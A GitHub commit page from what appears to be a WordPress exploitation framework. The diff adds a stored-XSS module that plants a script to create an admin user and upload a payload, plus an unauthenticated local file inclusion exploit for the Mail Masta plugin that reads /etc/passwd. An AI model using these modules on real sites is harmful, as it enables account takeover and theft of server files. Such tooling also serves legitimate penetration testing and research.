Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit cb1a195

Browse files
committed
Merged development into master
2 parents eae5179 + 83e80d0 commit cb1a195

29 files changed

+401
-23
lines changed

.gitignore

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -92,3 +92,14 @@ sftp-config.json
9292
# Atom Plugins
9393
deployment-config.json
9494
Gemfile.lock
95+
96+
# NPM
97+
node_modules/
98+
npm-debug.log
99+
100+
# TypeScript type defs
101+
typings/
102+
103+
# Compiled Angular TypeScript
104+
lib/web/public/app/**/*.js
105+
lib/web/public/app/**/*.map

lib/wpxf/core.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@
2929
require 'wpxf/wordpress/xss'
3030
require 'wpxf/wordpress/reflected_xss'
3131
require 'wpxf/wordpress/staged_reflected_xss'
32+
require 'wpxf/wordpress/stored_xss'
3233
require 'wpxf/wordpress/shell_upload'
3334
require 'wpxf/wordpress/file_download'
3435

lib/wpxf/net/http_response.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ def parse_typhoeus_response(res)
1515
self.body = res.body.nil? ? '' : res.body
1616
self.headers = res.headers
1717
self.timed_out = res.timed_out? || res.return_code == :couldnt_connect
18-
self.cookies = CookieJar.new.parse(res.headers['Set-Cookie'])
18+
self.cookies = CookieJar.new.parse(res.headers['Set-Cookie']) if res.headers
1919
end
2020

2121
# @return [Boolean] a boolean that indicates whether a request timed out.

lib/wpxf/wordpress/reflected_xss.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ def initialize
1717
# @return [Boolean] true if successful.
1818
def run
1919
unless respond_to? 'url_with_xss'
20-
fail 'Required method "url_with_xss" has not been implemented'
20+
raise 'Required method "url_with_xss" has not been implemented'
2121
end
2222

2323
return false unless super

lib/wpxf/wordpress/shell_upload.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -75,6 +75,13 @@ def run
7575
true
7676
end
7777

78+
# Execute the payload at the specified address.
79+
# @param payload_url [String] the payload URL to access.
80+
def execute_payload(payload_url)
81+
res = execute_get_request(url: payload_url, cookie: @session_cookie)
82+
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
83+
end
84+
7885
private
7986

8087
def payload_name_length
@@ -100,9 +107,4 @@ def upload_payload(builder)
100107

101108
true
102109
end
103-
104-
def execute_payload(payload_url)
105-
res = execute_get_request(url: payload_url, cookie: @session_cookie)
106-
emit_success "Result: #{res.body}" if res && res.code == 200 && !res.body.strip.empty?
107-
end
108110
end

lib/wpxf/wordpress/stored_xss.rb

Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
# Provides reusable functionality for stored XSS modules.
2+
module Wpxf::WordPress::StoredXss
3+
include Wpxf::WordPress::Xss
4+
5+
# Initialize a new instance of {StoredXss}.
6+
def initialize
7+
super
8+
@success = false
9+
@info[:desc] = 'This module stores a script in the target system that '\
10+
'will execute when an admin user views the vulnerable page, '\
11+
'which in turn, will create a new admin user to upload '\
12+
'and execute the selected payload in the context of the '\
13+
'web server.'
14+
end
15+
16+
# @return [String] the URL or name of the page an admin user must view to execute the script.
17+
def vulnerable_page
18+
'a vulnerable page'
19+
end
20+
21+
# Abstract method which must be implemented to store the XSS include script.
22+
# @return [Wpxf::Net::HttpResponse] the HTTP response to the request to store the script.
23+
def store_script
24+
raise 'Required method "store_script" has not been implemented'
25+
end
26+
27+
# Call #store_script and validate the response.
28+
# @return [Boolea] return true if the script was successfully stored.
29+
def store_script_and_validate
30+
res = store_script
31+
32+
if res.nil?
33+
emit_error 'No response from the target'
34+
return false
35+
end
36+
37+
return true if res.code == 200
38+
39+
emit_error "Server responded with code #{res.code}"
40+
false
41+
end
42+
43+
# Run the module.
44+
# @return [Boolean] true if successful.
45+
def run
46+
return false unless super
47+
48+
emit_info 'Storing script...'
49+
return false unless store_script_and_validate
50+
51+
emit_success "Script stored and will be executed when a user views #{vulnerable_page}"
52+
start_http_server
53+
54+
xss_shell_success
55+
end
56+
end
Lines changed: 43 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
class Wpxf::Auxiliary::MailMastaUnauthenticatedLocalFileInclusion < Wpxf::Module
2+
include Wpxf::WordPress::FileDownload
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Mail Masta Unauthenticated Local File Inclusion',
9+
author: [
10+
'Guillermo Garcia Marcos', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
desc: 'This module exploits a vulnerability which allows you to include any arbitrary file '\
14+
'accessible by the user the web server is running as into the executing script.',
15+
references: [
16+
['WPVDB', '8609'],
17+
['EDB', '40290'],
18+
['URL', 'https://cxsecurity.com/issue/WLB-2016080220']
19+
],
20+
date: 'Aug 23 2016'
21+
)
22+
end
23+
24+
def check
25+
check_plugin_version_from_readme('mail-masta')
26+
end
27+
28+
def working_directory
29+
'wp-content/plugins/mail-masta/inc/campaign'
30+
end
31+
32+
def default_remote_file_path
33+
'/etc/passwd'
34+
end
35+
36+
def downloader_url
37+
normalize_uri(full_uri, working_directory, 'count_of_send.php')
38+
end
39+
40+
def download_request_params
41+
{ pl: remote_file }
42+
end
43+
end

modules/exploits/ajax_random_post_reflected_xss_shell_upload.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ def initialize
77
update_info(
88
name: 'AJAX Random Post <= 2.0 Reflected XSS Shell Upload',
99
author: [
10-
'Larry W. Cashdollar,', # Discovery
10+
'Larry W. Cashdollar', # Discovery
1111
'Rob Carr <rob[at]rastating.com>' # WPXF module
1212
],
1313
references: [

modules/exploits/anti_plagiarism_reflected_xss_shell_upload.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ def initialize
77
update_info(
88
name: 'Anti Plagiarism <= 3.60 Reflected XSS Shell Upload',
99
author: [
10-
'Larry W. Cashdollar,', # Discovery
10+
'Larry W. Cashdollar', # Discovery
1111
'Rob Carr <rob[at]rastating.com>' # WPXF module
1212
],
1313
references: [

modules/exploits/defa_online_image_protector_reflected_xss_shell_upload.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ def initialize
77
update_info(
88
name: 'Defa Online Image Protector <= 3.3 Reflected XSS Shell Upload',
99
author: [
10-
'Larry W. Cashdollar,', # Discovery
10+
'Larry W. Cashdollar', # Discovery
1111
'Rob Carr <rob[at]rastating.com>' # WPXF module
1212
],
1313
references: [

0 commit comments

Comments
 (0)